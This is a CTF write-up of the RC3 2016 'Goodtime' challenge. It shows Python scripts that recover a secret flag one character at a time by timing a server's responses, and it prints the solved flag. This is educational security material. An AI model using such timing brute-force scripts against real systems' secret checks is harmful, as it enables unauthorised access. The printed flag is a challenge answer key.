Black Magic Exploitation

CTF's, Exploits, and Black Magic

RC3 2016 ~ Goodtime: Misc 150

This is a misc challenge from RC3 2016. RC3 hosts a CTF every year and have been one of my favorite CTFs simply because it’s a lot easier than the DefCon qualifying CTFs. This challenge in particular was extremely long for a measly 150 points. It’s not very hard - just really annoying and inconsistent.

Challenge Details

Goodtime - 150
--------------
The flag is not on the youtube video, the flag on there is someone trying to confuse you. Sorry.
The flag is also longer than normal.
https://www.youtube.com/watch?v=H7HmzwI67ec
nc goodtime.ctf.rc3.club 5866
NOTE: there should be a prompt when you connect. if there isn't it went down so scream at me in IRC until I fix.

author: wumb0

Like any person would - the first thing I did was view the YouTube video:

Good Time - Owl City & Carly Rae Jepson

Obviously no clues here - it’s just a video of Carly Rae Jepson; However, I did notice some guy posted a fake flag in the comments. That gave me a good laugh. Next thing to do was check out the netcat connection.

nc goodtime.ctf.rc3.club 5866

After trying out the netcat server, we noticed the server took longer to respond when we input something in the flag format (RC3-2016-XXXX). Since the title of this challenge was called goodtime - I’m going to assume the exploit is a lineariation attack via response time. In other words, we’ll try to deduce the flag by comparing the response times of different inputs. I would assume the server checks the input - one character at a time. Thus an input of Apple have a shorter response time than RC simply because the server would check the A in Apple and stop - meanwhile the server would check R, then C then look for a 3 (to make RC3) in RC. Let’s validate this by creating a script and testing it out.

manualTime.py

#!/usr/bin/env python
import time
import socket
import re
import sys

timer = time.clock if sys.platform == 'win32' else time.time

#host to connect to
host="54.167.134.245"
#the port with whatever u want 
port = 5866
#creating a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#default values
flag = ""
highestTime = 0
attempt= "RC3-2016-"
allowedChars = "klmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#start timer
start = timer()
#start connecction
s.connect((host, port))
#Recover 2014 bytes of response and print
data2 = s.recv(1024)
print data2
print "Attempting: " + attempt
#Send out flag
s.send(attempt + '\n')
#Read response
data2 = s.recv(1024)
#end timer
print timer()-start

This script creates a socket and connects to the netcat server via the host and port provided. It then connects to the server using that socket and reads any incoming bytes. After which, we send our attempt on the flag. We wait for a response and print out the response time. This kind of socket scripting is useful when the server response is consistant. Here’s what it looks like in usage.

python manualTime.py

Since now we know it’s a linearization attack on response time, and the flag format is “RC3-2016-XXXXX”, we only need to solve the last line of the flag. To do this, we need to test every single character - like a brute-force attack - and check the reponse time:

RC3-2016-a

RC3-2016-b

RC3-2016-c

RC3-2016-d

RC3-2016-e

RC3-2016-f

Assuming we hit the right character - that response would be be quite larger than the other inputs. Thus we can save the character with the longest response time and assume that’s the next character in the flag. I automated this process in

goodtime.py

#!/usr/bin/env python
import time
import socket
import re
import sys

timer = time.clock if sys.platform == 'win32' else time.time

host="54.167.134.245"
#the port with whatever u want 
port = 5866
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#default values
flag = "";
highestTime = 0;
attempt= ""
allowedChars = "abcdegfhijklmnopqrstuvwxyz-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()"

for x in range(0,50):
	# Resets highestChar
	highestChar=""
	for x in allowedChars:
		#Creates attempt 1
		attempt = flag + x
		#Create socket
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		#Start timer
		start = timer()
		#Connect to netcat
		s.connect((host, port))
		#Recover response
		data2 = s.recv(1024)
		print data2
		#Send flag
		print "Attempting: " + attempt
		s.send(attempt + '\n')
		#keep this to get the actual response
		data2 = s.recv(1024)
		#End timer
		time1 = timer()-start
		print "Time 1: " + str(time1)
		# print 'time taken ', timer()-start ,' seconds'
		if (timer()-start > highestTime):
			highestTime = timer()-start
			highestChar = x
		s.close()
		#attempt 2
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		start = timer()
		s.connect((host, port))
		data2 = s.recv(1024)
		s.send(attempt + '\n')
		#keep this to get the actual response
		data2 = s.recv(1024)
		time2 = timer()-start
		print "Time 2: " + str(time2)
		# print 'time taken ', timer()-start ,' seconds'
		average = (time1+time2)/2
		print "Average: " + str(average)
		if (average > highestTime):
			highestTime = average
			highestChar = x
		s.close()
	print "Adding [" + highestChar + "] to flag"
	flag = flag + highestChar;
	print "Current Flag: " + flag

Let’s check it out in use:

python goodtime.py

Combining both the automated and manual script, we were able to get the flag.

RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck

Let’s confirm

Confirming the flag

The hardest part was due to inconsistency in the netcat connection. Any new characters I received from my script, I had to triple check manually. 9/10 it was just a false positive due to the netcat connection. It might’ve been better if I was connected with a wired connection rather than WIFI. Luckily, it wasn’t so bad to guess some of the flag. When I saw the words itz-al, I already knew it was a Carly Rae reference - “It’s always a good time”. I manually input every version of always like alw4ys and alw@ys - one character at a time. Whenever the response time went up - I knew that was the correct character. The most trickiest part was after g00d-t1m. I thought I was done because I assumed the flag was itz alwayz a good time. I had to bruteforce the second 1 for t1m1ng. I had no clue why it was a 1 at the time only to realize an hour later it was timing and not time. Additionally, the last part of the flag - @tt@ck - threw me off because I assumed the last word in the flag would be alphanumeric. The last word took me atleast 3 hours because the server kept crashing and each flag I input had a response time of atleast 10 seconds. To brute force the @ it required all lowercase, uppercase, numbers, and punctuations - 10 seconds a piece. About 10 minutes if I was lucky the server didn’t crash. At last though I was able to get the flag.